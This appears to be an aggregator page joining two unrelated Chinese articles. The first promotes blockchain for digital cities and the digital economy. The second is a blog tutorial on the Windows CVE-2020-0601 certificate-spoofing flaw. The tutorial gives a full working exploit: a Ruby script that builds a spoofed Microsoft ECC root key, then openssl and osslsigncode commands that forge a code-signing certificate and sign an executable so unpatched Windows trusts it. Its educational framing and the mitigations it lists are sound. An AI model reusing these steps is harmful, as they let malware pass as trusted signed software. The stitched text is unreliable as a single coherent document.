精华内容
下载资源
问答
  • 数字经济中,区块链将会扮演什么角色?数字经济的新发展机会、愿景与技术实现手段,并用已经推出的案例,阐述了区块链在数字经济新发展中所扮演的角色,以及技术和业务逻辑。 以数字化转型为目标,数字经济的新...

    在这里插入图片描述

    在数字经济中,区块链将会扮演什么角色?数字经济的新发展机会、愿景与技术实现手段,并用已经推出的案例,阐述了区块链在数字经济新发展中所扮演的角色,以及技术和业务逻辑。

    以数字化转型为目标,数字经济的新发展机会、愿景与技术实现手段。然后,用一些已经推出的场景,说明区块链在数字经济新发展中所扮演的角色,以及技术和业务逻辑。

    首先谈谈愿景,未来的世界,特别是未来的数字城市世界,是一个“虚实相生”的世界。什么叫虚实相生?这个世界离我们并不那么遥远。今天,各种行为数据,包括经济活动数据等都已经在虚拟空间、虚拟世界中进行有效地流转。

    可是我们生活在实体世界当中,如何让虚的世界(虚拟世界)和实的世界(物理空间)有效互动?一个虚拟与现实高度协同,你中有我,我中有你的世界将会带来更好的数字经济参与形式、互动模式以及“数字城市”市民的体验。

    未来的“数字城市”动态实时结合数字空间与物理空间,将是自如、自适应的城市。下面我会就自如、自适应意味着什么,以及需要什么样的技术手段进行保障,分享我们的心得和实践。

    目前我们处于第一阶段——数字城市的建设中。一方面是城市各种基础设施,包括服务设施、资源设施的数字化;另一方面是在此基础上建立可信数字底座。可信数字底座和城市数字化基础设施相结合,就形成了“数字孪生”的世界。这个世界可以和真实世界当中的各种经济活动参与形成良好的互动。

    数字孪生也可以保障城市基础设施、城市经济模式的高度服务化。再发展下去,在数字孪生世界的基础上发展出“数字原生”世界,即平行于物理世界的自适应、自治的数字世界。并引入合理的治理机制和数字经济参与的激励机制,从而形成了可信的平行于物理世界的数字世界。各种数字经济活动、娱乐活动、城市生活都可以做到真正的“虚实相生”,即物理世界与数字世界相互作用。

    回到当前的“数字城市”建设,距离“自如”、“自适应”, 还有哪些挑战?差距在什么地方?

    第一个问题:数字隐私。

    用户的隐私被滥采滥用,商业秘密缺乏保护。3.15晚会曾重点关注信息安全与隐私泄露问题。如某些门店安装了人脸识别,在没有得到用户同意的前提下收集信息,进行信息调用也没有建立起很好的问责机制。数字化技术在提供价值的同时也给长期的数字经济发展和个人信息保障带来隐患。

    第二个问题:数据孤岛。

    通过过去数十年的建设,我们国家已经走在全世界智慧城市建设前列,信息化向数据化推进取得了越来越多、非常不错的进展。但是我们看到不同部门、价值链不同环节的“数据孤岛”依然存在,数据协同与管理依然困难。

    第三个问题:数据价值挖掘。

    很多数据尚未被充分挖掘和有效利用。前面提到的数据隐私挑战,让数据价值挖掘面临着各种各样的忧虑和顾虑;数据孤岛的存在则影响到数据价值挖掘所需要的跨应用、跨领域延展。如果数据孤岛的问题无法得到解决,就无法形成完整的数据基础设施,价值挖掘也就受到各种各样的局限。

    第四个问题:数据主权不明确。

    从个人到企业,再到城市治理,数据所有者不能充分享受数据带来的收益。这样,从治理和激励角度来说,不利于数字化的长期发展,不利于中国在全球数字创新中持续领先的势头。

    区块链是赋能城市数字化转型的有效手段,2021年6月7日,工信部、中央网信办发布了《关于加快推进区块链技术应用和产业发展的指导意见》,我们看到了几条更深入的对区块链结合数字经济、数字产业发展的指导意见。

    推进“区块链+工业互联网”的发展

    从去年起,万向区块链投入很多资源进行大量行业调研,建立生态,推出“分布式认知工业互联网”这一创新主张,并建立了应用平台和企业、政府应用体系;其中的“分布式认知”层,就结合了区块链、隐私计算和知识图谱等技术,对传统工业互联网进行了必要的升级完善。一方面,保障企业数据上(工业互联网)平台没有后顾之忧;另一方面,进行数据价值挖掘,使企业真正从工业互联网平台上得到实惠。

    我们这一年来从产业治理、企业激励两方面推进“区块链+工业互联网”的技术迭代和商业模式拓展。未来,我们会携生态伙伴一起身体力行创造更多的价值。

    推进“区块链+大数据”关联技术的结合

    万向区块链从前年开始大力推进公司内部技术资源整合和整体技术能力发展,建立了“区块链+”和“+区块链”。从业务上来讲是“区块链+”,从技术上来讲是区块链与关联技术在数据架构层面的深度整合,包含区块链和大数据。

    区块链和大数据的结合一方面从源头解决数据可信的问题,另一方面保障数据主权,通过知识图谱、人工智能进行有效的价值挖掘,建立合理的数据流转商业模式。我们已经在生物医药行业携手合作伙伴取得了重大课题进展。

    推进“区块链+AI”

    回到此前提到的3.15隐私权益问题,人工智能和区块链的结合- AI治理,是区块链和关联技术整合的一个优秀范例,解决数据安全和个人隐私保护问题。相信在这些指导意见下,技术能够充分发挥数字经济和数字生活中的效应,并被纳入有效的监管和个人隐私保护的框架轨道中,有序发展。

    这些年来,万向区块链携手生态伙伴,重点在推进可信数字底座发展。可信数字底座包括:

    1、硬件计算层。在芯片架构层面,通过区块链与可信开源架构、硬件和软件(RISC-V)的整合,从本源上解决数据安全和数据可信的问题。

    2、端感知层。结合传感器和物联网技术,进一步保障数据采集、数据收集中的有效整理。

    3、数据通信层。利用5G和物联网所带来的巨大机会,将数据通信做到极致。

    硬件计算、端感知层、数据通信层可以看作数字底座中的基础设施,从技术上进行保障;上面三层则可以看作上层建筑,是解决数据汇聚、数据资源的整合和调用、数据赋能,包括创造价值、建立商业模式的层面。

    可信数据采集特别值得重点关注,现在我们处于非常有意思的技术发展历史节点,国家面临芯片安全问题,全球芯片供应链则面临供应链紧缺的问题,RISC-V作为一种可信的、开源的芯片架构,其大规模商业使用呼之欲出。万向区块链近两年对此进行了深入思考,和相关友商、相关关联技术行业进行了非常深入的切磋。

    我们在RISC-V国际基金会携生态伙伴发起成立了全球芯片行业在半导体发展史上第一个区块链行业工作组,目前已经得到了行业的积极反响。

    在软件方面,我们致力于推动联盟链、PlatONE、密码算法链存储、共识机制、智能合约等,重点在隐私计算、区块链技术上发力。在此基础上结合硬件、RISC-V架构所支持的MCU微控制器以及CPU,建立完整的端到端的物联网管理平台。

    其中的技术实现手段包括区块链模组应用、区块链模组联盟、可信标准推出等,已经取得了不少进展。相信可信数据采集RISC-V+区块链模组、与合作伙伴摩联共同推出的BoAT,以及万向区块链的PlatONE联盟链共同搭建的物联网数据赋能平台,将会决定性地改变用技术实现可信数据采集的愿景。

    下一步是可信数据流转层面,这里需要隐私计算和区块链的加持。隐私计算和区块链是如何助力数据安全流转的呢?通过隐私计算下的零知识证明、代理重加密、同态加密、安全多方计算,共同保障“区块链+数字身份体系”。

    基于区块链和隐私计算,利用先进密码学知识,解决在数字城市中数据“不愿共享、不敢共享”的问题,实现数据价值的可用而不可见。这样一来,在可信数据流转基础设施的基础上,我们作为个人、城市居民、城市数字经济的用户,所看到的是城市懂我,但是不知道我是谁,不知道我的隐私信息,主导权掌握在我手里。

    同时,可信数据流转保障了政府治理和市场经济、数字经济充满活力发展之间的协同,垂直化高效的治理机制和管理机制,跟水平的更广泛的社会资源整合,集中一切资源办大事,我相信这将是个非常有前景的方向。

    近年,可信数据追溯在新能源汽车方面取得了大量进展,可再生能源在城市基础设施当中的应用也取得了大量进展。

    但在技术演进过程中,如何保障用户以及基础设施的安全?一方面是防止网络攻击,另一方面是防止物理世界的安全隐患,因为这些都有复杂的供应链,甚至是跨供应链组成的产业。因此,跨供应链、跨行业的可信数据追溯就变得非常必要。

    在可信数据追溯体系搭建的过程中,万向区块链成功地推出了“区块链工作站”,从医疗数据、城市数字底座上的数据出发,把私域网和平台公域中的数据互动进行有效的整合。一旦出了问题,我们可以很快地找到问题根源,同时大大降低解决问题的时间成本和规模成本。

    数据价值挖掘,利用区块链+知识图谱,一方面在数据孤岛打通的情况下形成更丰富的数据流转,另一方面高效组织数据,链接海量的城市数据,支持快速高效的查询。通过AI技术进行预测与分析,防患于未然。一个城市复杂的管理变得更加直观、可视化,同时让执行变得更加高效和可信。

    最终回到前面所说的虚拟世界和现实世界的完美结合,其中人工智能的发展,通过有效的治理保障和数据隐私保障基础上建立起来的更丰富人工智能能力,这是一种可解释的智能,是真正意义上的“城市大脑”,可以为整个城市数字经济创造更多价值。

    下面分享几个具体的区块链应用案例,这些区块链应用案例基本都和数字经济有关,和数字城市的关联在于技术逻辑和业务逻辑都可以复制到数字城市的建设中,使数据有序共享。

    非常有幸和一家行业内领先的基因制药的公司进行基因靶向研究。生活当中敏感的信息很少能有超过个人和意愿掌握的医疗数据,这些数据完全在公有平台上通过明文形式流转是不负责任的,也是不可行的。

    所以我们推出了私域数据流转和公域数据流转的有效结合,这样一来,同样的逻辑可以用在工业互联网当中,也可以用在前面所说的“数字城市”核心数据底座当中,形成隐私保护和数据流转两个貌似无法兼得的两大价值的统一。

    最后,讨论三个案例,回归今天讨论的主题。

    案例一:AI数字治理方案

    AI数字治理是如何实现的?通过在设备端所安装的区块链BoAT,摩联实现的区块链+物联网价值层,通过端侧技术手段实现人像采集设备所拍到的人脸图像,只能在设备端存储和计算。如果要形成身份信息的流转,必须要有用户授权,也必须有监管方认可。

    通过把人脸识别产生的结果进行分拆,检索标准所需的“是”、“否”的计算结果独立出来,而不接触原始人脸图片和身份确认,这样隐私的泄露就得到了非常好的控制。

    设备端存储的人脸图片又可以通过合理的共识算法,定期删除,所有的数据进出记录、调用信息等等都可以上链存储,监管随时可查。这样一来,可以非常便捷地进行追溯,防止更多问题发生。这是我们在AI数字治理上所做出的尝试。

    案例二:数字城市绿色出行

    绿色出行现在有共享单车、滴滴,随着新能源汽车的进一步推进,相信未来智能驾驶汽车会更好地为大家提供定制化服务,同时,有利于环境可持续发展的出行服务会越来越成为现实。

    这些都需要一个跨越平台的虚拟身份载体,把目前独立的应用领域衔接起来,并承载有效的激励机制。最终用户关心的并不是出行方式,而是从A到B、从点到点完整的出行体验,在效率上高度优化,同时在社会效益上又能够满足绿色可持续发展的目标。

    需要这样的体系把个人行为选择、城市治理、商业公司、商业平台所提供的服务有效地衔接起来,通过数字城市出行绿色积分体系的搭建是一个很好的方式,,和我们所说的城市物理世界可信数字底座又可以有效地进行互动。

    案例三:区块链赋能碳中和

    目前,城市用电是目前国家用电的30%以上,城市家电使用、城市出行中所造成的碳排放都需要有可信的计量体系。如何通过区块链赋能碳中和?我们有一些初步的想法,也在实践中不断完善,并取得了来自家电行业、新能源汽车行业、动力电池等各行各业的支持。

    碳足迹追踪的基本逻辑如何实现?利用区块链+物联网技术,从家庭用电起步,解决碳排数据追踪过程中碳排数据精确度欠缺、可信度存疑、实时性不足等难题。

    总结一下,在数字城市、数字经济发展中,区块链是虚实结合的虚拟世界和实体世界当中衔接的一座桥梁。通过可信数字底座以及区块链与关联技术的结合,真正在数据结构层面发挥区块链作为生产关系技术的关键作用,并推动其与其他关联技术作为提高效率、提高生产力的完美结合。

    来源:万向区块链

    展开全文
  • 作者前文介绍了什么是数字签名,利用Asn1View、PEVie、010Editor等工具进行数据提取和分析,这是全网非常新的一篇文章,希望对您有所帮助。这篇文章将详细介绍微软证书漏洞CVE-2020-0601,并讲解ECC算法、Windows...

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列。因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全、逆向分析和恶意代码检测,“系统安全”系列文章会更加聚焦,更加系统,更加深入,也是作者的慢慢成长史。换专业确实挺难的,逆向分析也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~

    作者前文介绍了什么是数字签名,利用Asn1View、PEVie、010Editor等工具进行数据提取和分析,这是全网非常新的一篇文章,希望对您有所帮助。这篇文章将详细介绍微软证书漏洞CVE-2020-0601,并讲解ECC算法、Windows验证机制,复现可执行文件签名证书的例子。 这些基础性知识不仅和系统安全相关,同样与我们身边常用的软件、文档、操作系统紧密联系,希望这些知识对您有所帮助,更希望大家提高安全意识,安全保障任重道远。本文参考了参考文献中的文章,并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。

    在这里插入图片描述

    从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵!

    接下来我将开启新的安全系列,叫“系统安全”,也是免费的100篇文章,作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等,也将通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步,加油~

    作者的github资源:

    前文分析:

    声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。(参考文献见后)


    一.漏洞背景

    2020年1月15日,微软发布了针对CVE-2020-0601的安全补丁,该漏洞是微软在实现椭圆曲线加密(ECC)算法数字证书验证时产生,位于CryptoAPI.dll文件,可被利用于伪造来自可信任来源的签名或证书,并且因其业务特性会衍生出多种攻击向量,具有极高的可利用价值和极大的潜在破坏力,Win10和windows server 2016 & 2019也都在其影响范围内。

    在这里插入图片描述

    有意思的是,在微软发布公告后,NSA也发布了关于CVE-2020-0601漏洞的预警通告。根据通告可以得知,这个漏洞是由NSA率先独立发现并汇报给微软的(微软在报告中对NSA致谢),也被认为是第一个NSA公开披露的软件系统漏洞,当然也有可能存在其特殊的战术目的。

    在这里插入图片描述

    该漏洞位于Windows CryptoAPI(Crypt32.dll)验证椭圆曲线加密算法证书的方式,可能影响信任的一些实例包括:

    • HTTPS连接
    • 文件签名
    • 电子邮件签名
    • 以用户模式启动的签名可执行程序

    此外,该漏洞可以让攻击者伪造代码签名证书对恶意可执行文件进行签名,使文件看似来自可信的来源。例如,可以让勒索软件或其他间谍软件拥有看似有效的证书,从而促使用户安装。中间人攻击并解密用户连接到受影响软件的机密信息也是主要的攻击场景之一。

    目前,支持使用带有指定参数的ECC密钥的证书的Microsoft Windows版本会受到影响,包括了Windows 10、Windows Server 2016/2019以及依赖于Windows CryptoAPI的应用程序。而Windows 10 之前的版本,如Windows 7、Windows Server 2008 R2 等均不受该漏洞的影响。因为win7没有默认添加微软的ECC根证书,crypt32.dll里面也没这个hash值,没法直接对比通过,故不受影响。



    二.漏洞原理

    该部分主要参考下面两篇文章,再次感谢,也强烈推荐大家阅读这两位老师的博客。花这么多篇幅介绍原理知识,一方面是完善自己的安全知识体系,另一方面只有深入了解原理才能更好地做防御。

    1.ECC加密算法

    CVE-2020-0601的根源是微软的加密库crypt32.dll中椭圆曲线加密算法的实现问题,首先我们来了解一下椭圆加密算法的基本原理。

    • 基础知识
      ECC私钥+椭圆曲线=ECC公钥

    • 漏洞成因
      微软的私钥+微软选的椭圆曲线=微软根证书里面的公钥
      黑客的私钥+黑客选的椭圆曲线=微软根证书里面的公钥

    不同的椭圆曲线和不同的私钥,能产生一模一样的公钥。win10默认添加了微软的ECC根证书,在做证书验证时,会一直验证到微软根证书中的公钥hash值,这个值直接写在了crypt32.dll里面,验证时没有对比是不是同一个椭圆曲线,只对比了公钥值,导致了黑客拿自己的私钥签名,就能伪装成微软的签名。

    • ECC算法

    要形象地理解椭圆曲线加密算法,可以结合图形来看,以下是一个符合椭圆曲线的方程及图像。

    y 2 = x 3 + a x + b y^2 = x^3 + ax + b y2=x3+ax+b

    在这里插入图片描述

    椭圆曲线具有的一些独特的性质使它适合用于加密算法:

    • 椭圆曲线关于x轴对称
    • 任何一条非垂直的线与曲线最多有三个点相交
    • 曲线是光滑的,即曲线的所有点都没有两个或者两个以上的不同的切线

    在椭圆曲线上任意两点A、B(若A、B重合则作A的切线),作直线交于椭圆曲线另一点C’,过C’做y轴的平行线与椭圆曲线交于C点,定义A+B=C。椭圆曲线的加法符合交换律和结合律。

    在这里插入图片描述

    如果A、B是同一个点,则过A作椭圆曲线的切线,以同样的方法得到对应的结果 C=2A 。

    在这里插入图片描述

    接下来是椭圆曲线加密相关的重点,如果对多个A进行累加,则可依次累加连线得到nA的值 。

    • (1) 起点为A,终点D=3A,阶为3 。
    • (2) 起点为A,终点G=4A,阶为4。

    在这里插入图片描述

    椭圆曲线加密算法的数学依据 :
    考虑K=kG,其中K、G为椭圆曲线Ep(a,b)上的点,n为G的阶。k为小于n的整数。给定k和G,根据加法法则计算K很容易(逐次求解);但反过来,给定K和G,求k就非常困难。因为实际使用中的ECC原则上把私钥k取得相当大,n也相当大,且椭圆曲线不再连续而是在实数内离散的值,要把n个解点逐一算出几乎是不可能的。

    • 点G称为基点
    • k(k<n)为私有密钥
    • K为公开密钥

    在这里插入图片描述

    ECC和RSA加密算法对比:
    椭圆曲线加密算法(ECC)和RSA同样是一种公开密钥加密技术,对原始数据以公钥加密,以私钥解密,即便攻击者获取密文和公钥也无法(在合理的时间或代价下)解密获取明文。ECC常被应用于数字签名,以私钥加密生成签名,以公钥解密验证签名,如果和原文一样则签名验证成功。公开密钥加密之所以可靠是因为它们利用了公钥密码领域的单向函数原理,正向操作非常简单,而逆向操作非常困难。由G(基点)出发,进行k(私钥)次变换,很容易地得到终点K(公钥)的值。

    在这里插入图片描述

    已知起点G(基点)和终点K(公钥),要逆推得到移动次数k(私钥)则是一个很难的问题。相比传统RSA加密算法,椭圆加密算法具有着天生的优势,椭圆加密算法的逆向过程相比RSA有着更大的时间复杂度。在密钥长度相同的情况下,椭圆加密算法相比RSA具有更好的安全强度。 一般认为,160比特的椭圆曲线密钥即可提供与1024比特的RSA密钥相当的安全强度。

    在这里插入图片描述

    较短的密钥也意味着更少的存储空间、更快的加解密速度和更少的带宽消耗,正因为椭圆加密算法的这些优势,它被用于Windows的签名系统、https的证书、比特币系统和中国的二代身份证系统中。

    虽然椭圆曲线加密算法具有着许多优势,纯算法角度攻破难度极大,微软对此算法的实现的缺漏却给漏洞利用提供了可乘之机。回到椭圆曲线加密最基本的等式 K=kG,首先需要明确的是,虽然对于给定的基点G和公钥K,要求解私钥k很困难,但是如果可以任意指定基点G,要构造一对k和G使等式成立却极其简单。最简单的情况,令基点G=K,则私钥k=1,这样一对基点和私钥可以使等式成立,也是有效的解。

    在这里插入图片描述

    在正常的标准椭圆曲线算法中,基点G并不是随意指定的,而是有固定的值(标准文件会对基点G等参数的选择做出规定),例如在secp256r1版本的椭圆曲线算法中,基点G应当为标准规定的固定值,如果对参数不加验证,使得用户可以自定义传入的基点G值(作为函数的参数),上面的私钥k=1的特殊解即可成立。

    在有漏洞版本的crypt32.dll中验证使用ECC算法签名部分的函数恰恰是这个情况,原先的函数未加参数验证,参与计算的基点G的内容由被验证的证书随意指定,使未授权的证书能够构建私钥k=1的特殊解来成功通过椭圆加密算法的签名验证的过程。



    2.Windows证书验证

    以SSL协议为例,讲解Windows如何进行证书验证。比如,小明(m)在某电商(x)网站上购买了一本书,这时就调用了SSL协议进行通讯,建立SSL协议的步骤总结为下图。

    在这里插入图片描述

    基本步骤包括:

    • 打招呼: 小明和电商互相介绍自己,小明和电商协商好以后的步骤里将使用到的特定密码算法。在本漏洞中,该算法为ECC加密算法。(该步骤没有利用密码工具)
    • 身份验证: 电商向小明验证自己的身份,电商发送包含自己的公钥的证书。该证书由权威的第三方证书机构(CA)颁发。小明使用CA的公开验证密钥,验证证书中对PK的签名。(漏洞触发地方)
    • 信息加密: 由小明生成一个随机的密钥MS,该密钥用于生成对双方传输的信息进行对称加密的K1与K2。MS由小明获得的公钥进行加密并交给电商。电商通过手中的私钥解密获得MS。这时双方都获得了用于进行加密通讯的密钥。

    注意:

    • 在SSL会话过程中,只有电商一方被要求提供证书,小明可能根本没有公钥(或证书)。这和我们平时去小卖部买东西一样,销售方需要提供销售许可, 而你只需要付钱就可以了。
    • 该漏洞的触发点在于 第三方权威机构(Windows) 在步骤②验证证书时产生的逻辑漏洞,使得攻击者可以通过伪造证书将自身伪装成电商, 与小明 进行通讯。从而达到骗财骗色骗信息的目的。
    • 通过及时更新微软补丁包可以有效防止上述情况的发生。

    接着我们分享微软验证证书的机制,以及其存在的逻辑漏洞。

    • 在Windows系统访问一个网站(例Github.com)时, 该网站会向Windows系统发送由第三方权威机构(CA)签署的网站证书。

    在这里插入图片描述

    • Windows系统则会验证该证书是否由CA颁发,若验证通过,则Windows系统与网站成功建立TLS链接。

    在这里插入图片描述

    • 为了方便下一次更快的访问,Windows将验证成功的证书放入内存中一块Certificate Cache(证书缓存)中。在下一次校验时,如果该证书存在于缓存中,则直接取缓存中的值进行校验。这里利用CVE-2020-0601。

    在这里插入图片描述

    • 在成功缓存证书数据后,根据下面描述的Windows证书缓存机制,恶意网站可以伪造虚假的网站(例github.com)证书且通过Windows验证,将自身伪装成合法网站。

    在这里插入图片描述

    • 当 Windows 接收到新的证书时,Windows 将新接收的证书与已缓存证书的证书的公钥进行遍历对比,寻找匹配的值。

    在这里插入图片描述

    • 伪造的恶意证书与Windows系统中的缓存证书有同样的公钥,但Curve项没有在校验范围内,所以可以通过构造自定义Curve来伪造证书。使得证书验证流程依然成立,但通过验证的证书已经不是之前成功验证的安全证书。

    在这里插入图片描述

    写到这里,如果您懵圈了,没关系!我也哭晕了好几次,都发求救贴了,接着我们看看实际操作吧~



    三.可执行文件签名漏洞利用

    1.证书查看

    首先,我带领大家看看Windows证书。运行中输入“certmgr.msc”,可以看到这里面有5个系统默认的ECC签名的根证书,如下图所示。

    在这里插入图片描述

    我们随意导出其中一个根证书,导出直接选择Base64编码那个就行。

    在这里插入图片描述

    可以看到导出的ECC密钥证书如下图所示,包括证书的有效期等信息。这就是微软在实现椭圆曲线加密(ECC)算法的数字证书,位于CryptoAPI.dll文件,也是被我们利用来伪造可信任来源的签名漏洞。

    在这里插入图片描述

    同样,我们可以通过Powershell(其用法推荐前文)查看默认的根证书。

    dir cert:\localmachine\root | Where-Object { $_.FriendlyName -like "*ECC*" }
    

    在这里插入图片描述



    2.环境搭建

    • Linux系统、Windows系统WSL软件(Windows Subsystem for Linux)
    • Ruby环境、Python环境
    • Github资源:main.rb、openssl_cs.conf、签名证书
    • 可执行exe文件(用于签名

    由于作者是Windows环境,但需要运行Linux命令,所以这里安装了Windows Subsystem for Linux软件。

    第一步,打开应用商城搜索“WSL”,可根据自己需求选择安装一个或多个Linux系统。

    在这里插入图片描述

    第二步,安装完成后可以在开始菜单的最近添加中打开Ubuntu。第一次打开Ubuntu时,会提示你创建新的用户账户和密码。这个用户账户只是普通的非管理员用户,如果要提升权限,需要使用sudo命令。

    在这里插入图片描述

    下面可以测试该环境已经搭建成功,我们能在Windows系统下运行Linux。

    在这里插入图片描述

    第三步,我们复制文件进入。作者使用WSL,主要还因为它的另一个优势,能够访问Windows系统的内容,灵活复制和切换文件。

    • (1) 可以在wsl终端输入以下命令 cd /mnt
    • (2) 可以在wsl终端输入以下命令 explorer.exe .
    • (3) 复制ca.cer文件

    在这里插入图片描述

    路径为:\wsl$\Ubuntu\home\yxz

    在这里插入图片描述

    第四步,使用openssl查看证书信息的内容,后面我们会反复使用该命令。

    openssl x509 -in ca.cer -text -noout
    

    在这里插入图片描述

    在计算机网络上,OpenSSL是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上。



    3.漏洞还原

    接下来将详细讲解如何还原可执行文件签名证书伪装漏洞。

    第一步,安装Ruby环境并测试。

    • 安装环境:sudo apt install ruby
    • 查看版本:ruby -v
    • 创建文件:touch HelloWorld.ry
    • 编辑代码:vim HelloWorld.ry
    • 运行代码:ruby HelloWorld.ry

    在这里插入图片描述

    在这里插入图片描述


    第二步,提取ECC根证书公钥信息。
    将main.rb文件和导出的微软ECC签名证书文件复制或上传至Linux系统或WSL。注意,这里的ECC证书也可以使用上面我们导出的那个文件。

    在这里插入图片描述

    接着运行ruby代码。

    ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
    

    在这里插入图片描述

    此时生成“spoofed_ca.key”公钥文件

    在这里插入图片描述

    main.rb代码如下,设置私钥为1,使得加密等式成立,并生成证书公钥文件。

    require 'openssl'
    
    raw = File.read ARGV[0] 	# 读取使用ECC算法的证书文件
    ca = OpenSSL::X509::Certificate.new(raw) 	# 读取使用ECC算法的证书
    ca_key = ca.public_key 	    # 从证书中提取公钥ca_key
    
    ca_key.private_key = 1    	# 设置私钥为1,使得公钥K==1*基点G的等式成立
    group = ca_key.group 
    group.set_generator(ca_key.public_key, group.order, group.cofactor)
    group.asn1_flag = OpenSSL::PKey::EC::EXPLICIT_CURVE
    ca_key.group = group 		# 利用构建的假基点G和假密钥k设置新group
    File.open("spoofed_ca.key", 'w') { |f| f.write ca_key.to_pem } 	# 将新的group写入文件
    

    第三步,基于此密钥生成一个新的x509证书,这将是我们自己的欺骗性CA。

    openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
    

    在这里插入图片描述

    注意,国家、地区、作者可以随意填写,此时生成“spoofed_ca.crt”公钥文件。

    在这里插入图片描述


    第四步,生成一个新密钥。该密钥可以是您想要的任何类型,它将用于创建代码签名证书,我们将使用自己的CA对其进行签名。

    openssl ecparam -name secp384r1 -genkey -noout -out cert.key
    

    在这里插入图片描述
    此时生成“cert.key”新密钥文件。


    第五步,接下来创建一个新的证书签名请求(CSR)。该请求通常会发送到受信任的CA,但是由于存在欺骗请求,因此我们可以自己对其进行签名。

    openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
    

    在这里插入图片描述

    注意,需要复制openssl_cs.conf文件进去,此时生成“cert.csr”文件。

    在这里插入图片描述

    第六步,使用我们的欺骗性CA和CA密钥签署新的CSR。该证书将在2047年到期,而真正的受信任Microsoft CA将在2043年到期。

    openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
    

    在这里插入图片描述

    生成“cert.crt”签名证书文件。

    在这里插入图片描述


    第七步,将证书的密钥和欺骗性的CA打包到一个PKCS12文件中,以对可执行文件进行签名。

    openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
    

    在这里插入图片描述

    生成“cert.p12”名证书文件。

    在这里插入图片描述


    第八步,用PKCS12文件签名可执行文件。

    osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in python.exe -out python_signed.exe
    

    注意,osslsigncode可能需要安装,如下所示。

    在这里插入图片描述

    用PKCS12文件签名可执行文件,最终生成“python_signed.exe”签名可执行文件。

    在这里插入图片描述

    在这里插入图片描述


    第九步,文件右键”属性“打开,如下所示,多了”数字签名“且能看查看”详细信息”。

    在这里插入图片描述

    点击”查看证书”,可以看到具体信息,比如2047年到期,颁发者为我们设置的“hacker”,以及设置的签名信息,并且证书是可靠地。该可执行文件的数字签名校验通过,并且成功欺骗了系统。

    在这里插入图片描述

    如果更新补丁知乎,可执行文件的数字签名会无法验证。

    在这里插入图片描述



    四.防御措施及总结

    缓解措施
    快速采用补丁是目前已知较好的缓解措施。尽管尚未出现公开的攻击方式和案例,但建议大家及时安装安全更新。更新后,当检测到有人试图利用CVE-2020-0601进行攻击时,系统将在每次重新启动Windows日志后在事件查看器中生成事件ID。

    安全建议
    除了安装修补程序之外,企业还可以采取其他措施保护端点,比如:

    • (1) 从网络流量中提取证书,检查可疑的属性;
    • (2) 通过执行TLS检查,不使用Windows进行证书验证的代理设备承载流量;
    • (3) 在企业内部部署私有根证书颁发机构,并且在特定计算机/服务器位置控制第三方软件的部署和使用;
    • (4) 符合条件的企业可以申请加入微软 Security Update Validation Program (SUVP) 或 Microsoft Active Protections Program (MAPP),从而提前从微软获得安全更新以进行相关的测试分析。

    后续作者将尝试利用该漏洞复现HTTPS劫持案例,真的花费了很多精力,希望您喜欢。

    在这里插入图片描述


    完整命令:

    ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
    
    openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
    
    openssl ecparam -name secp384r1 -genkey -noout -out cert.key
    
    openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
    
    openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
    
    openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
    
    osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in python.exe -out python_signed.exe   
    


    五.总结

    文章写到这里,就介绍完毕,希望对您有所帮助。内容包括:

    • 一.漏洞背景
    • 二.漏洞原理
      1.ECC加密算法
      2.Windows证书验证
    • 三.可执行文件签名漏洞利用
      1.证书查看
      2.环境搭建
      3.漏洞还原
    • 四.防御措施及总结

    同时总结下这一年网络安全和系统安全的学习感受。作为网络安全的初学者,我写了近150篇安全的文章,从Web渗透到CTF,从二进制分析到恶意代码检测,从CVE漏洞还原到木马病毒及论文,但还是觉得自己非常菜,至今未进入安全圈。每当我要测试一个网站或复现一个漏洞时,都会身心俱疲,甚至想放弃,本来一个很小的问题,会牵扯出无数知识点,需要去一个个去学习、去攻克,包括密码算法、IP段和端口、安全工具、Python脚本、Powershell、openssl命令、外网内网、系统漏洞等等。

    哎,自己也写了十年的代码了,即使拿到很难得数据挖掘的项目,都能一点点去克服最终实现。但安全确实不一样,可能一个漏洞涉及的已经是另一个领域,当然自己接触得比较少。然而,每当复现出一个漏洞或拿下一个网站时,这幸福感也是其他程序无法替代的,恨不得让全世界都知道这是我做的。所以,给安全初学者一些建议,多实践、别气馁、多交流,多看安全网站和黑客大佬的文章、教程和视频,多关注CVE漏洞和新新闻。当你做不出来的时候,我这只菜鸟也在电脑的另一头撞墙了。同时,网络空间安全真的非常重要,只有不断地真正实践和总结,才能成为一名优秀的白帽子,我会向着这个方向努力的,也会分享更多安全文章,希望您喜欢!一起加油~

